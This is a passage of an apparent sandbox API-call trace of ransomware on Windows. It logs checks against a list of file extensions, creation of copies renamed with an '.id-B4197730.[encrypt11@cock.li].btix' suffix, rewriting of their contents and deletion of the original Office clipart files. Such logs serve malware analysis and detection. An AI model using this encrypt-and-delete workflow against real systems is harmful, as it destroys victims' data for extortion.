Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0070.591] lstrlenW (lpString=".dbf") returned 4 [0070.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0070.591] lstrlenW (lpString=".1cd") returned 4 [0070.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0070.593] lstrlenW (lpString=".jpg") returned 4 [0070.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.593] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.593] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0070.594] GetLastError () returned 0x0 [0070.594] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x32f2, lpOverlapped=0x0) returned 1 [0070.649] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x3300, lpOverlapped=0x0) returned 1 [0070.651] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.651] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.651] SetEndOfFile (hFile=0x38c) returned 1 [0070.651] CloseHandle (hObject=0x38c) returned 1 [0070.651] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.651] SetEndOfFile (hFile=0x2e0) returned 1 [0070.652] CloseHandle (hObject=0x2e0) returned 1 [0070.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0070.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0070.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0070.653] lstrlenW (lpString=".doc") returned 4 [0070.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.653] lstrlenW (lpString=".docx") returned 5 [0070.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.654] lstrlenW (lpString=".pdf") returned 4 [0070.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.654] lstrlenW (lpString=".xls") returned 4 [0070.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.654] lstrlenW (lpString=".xlsx") returned 5 [0070.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.654] lstrlenW (lpString=".ppt") returned 4 [0070.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0070.654] lstrlenW (lpString=".zip") returned 4 [0070.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.654] lstrlenW (lpString=".rar") returned 4 [0070.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.654] lstrlenW (lpString=".bz2") returned 4 [0070.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.655] lstrlenW (lpString=".7z") returned 3 [0070.655] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0070.655] lstrlenW (lpString=".dbf") returned 4 [0070.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0070.655] lstrlenW (lpString=".1cd") returned 4 [0070.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0070.655] lstrlenW (lpString=".jpg") returned 4 [0070.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.655] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.655] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0070.656] GetLastError () returned 0x0 [0070.656] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x3044, lpOverlapped=0x0) returned 1 [0070.666] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x3050, lpOverlapped=0x0) returned 1 [0070.667] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.667] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.667] SetEndOfFile (hFile=0x38c) returned 1 [0070.667] CloseHandle (hObject=0x38c) returned 1 [0070.667] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.667] SetEndOfFile (hFile=0x2e0) returned 1 [0070.668] CloseHandle (hObject=0x2e0) returned 1 [0070.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0070.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0070.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0070.669] lstrlenW (lpString=".doc") returned 4 [0070.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.669] lstrlenW (lpString=".docx") returned 5 [0070.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.669] lstrlenW (lpString=".pdf") returned 4 [0070.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.673] lstrlenW (lpString=".xls") returned 4 [0070.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.673] lstrlenW (lpString=".xlsx") returned 5 [0070.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.673] lstrlenW (lpString=".ppt") returned 4 [0070.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0070.674] lstrlenW (lpString=".zip") returned 4 [0070.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.674] lstrlenW (lpString=".rar") returned 4 [0070.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.674] lstrlenW (lpString=".bz2") returned 4 [0070.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.674] lstrlenW (lpString=".7z") returned 3 [0070.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0070.674] lstrlenW (lpString=".dbf") returned 4 [0070.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0070.674] lstrlenW (lpString=".1cd") returned 4 [0070.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0070.674] lstrlenW (lpString=".jpg") returned 4 [0070.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.674] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.675] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0070.675] GetLastError () returned 0x0 [0070.675] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x8e8, lpOverlapped=0x0) returned 1 [0070.685] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x8f0, lpOverlapped=0x0) returned 1 [0070.688] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.688] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.688] SetEndOfFile (hFile=0x38c) returned 1 [0070.691] CloseHandle (hObject=0x38c) returned 1 [0070.692] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.692] SetEndOfFile (hFile=0x2e0) returned 1 [0070.695] CloseHandle (hObject=0x2e0) returned 1 [0070.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0070.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0070.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0070.695] lstrlenW (lpString=".doc") returned 4 [0070.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.696] lstrlenW (lpString=".docx") returned 5 [0070.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.696] lstrlenW (lpString=".pdf") returned 4 [0070.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.696] lstrlenW (lpString=".xls") returned 4 [0070.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.696] lstrlenW (lpString=".xlsx") returned 5 [0070.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.696] lstrlenW (lpString=".ppt") returned 4 [0070.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0070.696] lstrlenW (lpString=".zip") returned 4 [0070.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.696] lstrlenW (lpString=".rar") returned 4 [0070.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.696] lstrlenW (lpString=".bz2") returned 4 [0070.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.696] lstrlenW (lpString=".7z") returned 3 [0070.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0070.696] lstrlenW (lpString=".dbf") returned 4 [0070.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0070.696] lstrlenW (lpString=".1cd") returned 4 [0070.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0070.697] lstrlenW (lpString=".jpg") returned 4 [0070.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.698] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.698] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0070.698] GetLastError () returned 0x0 [0070.698] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x1f08, lpOverlapped=0x0) returned 1 [0070.709] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x1f10, lpOverlapped=0x0) returned 1 [0070.710] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.710] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.710] SetEndOfFile (hFile=0x32c) returned 1 [0070.712] CloseHandle (hObject=0x32c) returned 1 [0070.712] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.712] SetEndOfFile (hFile=0x2e0) returned 1 [0070.713] CloseHandle (hObject=0x2e0) returned 1 [0070.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0070.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0070.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0070.715] lstrlenW (lpString=".doc") returned 4 [0070.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.715] lstrlenW (lpString=".docx") returned 5 [0070.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.715] lstrlenW (lpString=".pdf") returned 4 [0070.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.716] lstrlenW (lpString=".xls") returned 4 [0070.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.716] lstrlenW (lpString=".xlsx") returned 5 [0070.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.716] lstrlenW (lpString=".ppt") returned 4 [0070.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0070.716] lstrlenW (lpString=".zip") returned 4 [0070.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.716] lstrlenW (lpString=".rar") returned 4 [0070.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.716] lstrlenW (lpString=".bz2") returned 4 [0070.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.718] lstrlenW (lpString=".7z") returned 3 [0070.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0070.718] lstrlenW (lpString=".dbf") returned 4 [0070.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0070.718] lstrlenW (lpString=".1cd") returned 4 [0070.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0070.718] lstrlenW (lpString=".jpg") returned 4 [0070.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.727] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.727] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0070.737] GetLastError () returned 0x0 [0070.737] ReadFile (in: hFile=0x32c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x2eda, lpOverlapped=0x0) returned 1 [0070.811] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x2ee0, lpOverlapped=0x0) returned 1 [0070.812] ReadFile (in: hFile=0x32c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.812] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.812] SetEndOfFile (hFile=0x308) returned 1 [0070.818] CloseHandle (hObject=0x308) returned 1 [0070.823] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.823] SetEndOfFile (hFile=0x32c) returned 1 [0070.825] CloseHandle (hObject=0x32c) returned 1 [0070.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0070.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0070.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0070.827] lstrlenW (lpString=".doc") returned 4 [0070.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.827] lstrlenW (lpString=".docx") returned 5 [0070.827] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.827] lstrlenW (lpString=".pdf") returned 4 [0070.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.827] lstrlenW (lpString=".xls") returned 4 [0070.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.827] lstrlenW (lpString=".xlsx") returned 5 [0070.827] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.827] lstrlenW (lpString=".ppt") returned 4 [0070.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0070.827] lstrlenW (lpString=".zip") returned 4 [0070.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.827] lstrlenW (lpString=".rar") returned 4 [0070.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.827] lstrlenW (lpString=".bz2") returned 4 [0070.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.827] lstrlenW (lpString=".7z") returned 3 [0070.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0070.828] lstrlenW (lpString=".dbf") returned 4 [0070.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0070.828] lstrlenW (lpString=".1cd") returned 4 [0070.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0070.828] lstrlenW (lpString=".jpg") returned 4 [0070.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.832] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.832] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0070.835] GetLastError () returned 0x0 [0070.835] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x4712, lpOverlapped=0x0) returned 1 [0070.874] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x4720, lpOverlapped=0x0) returned 1 [0070.875] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f40020, 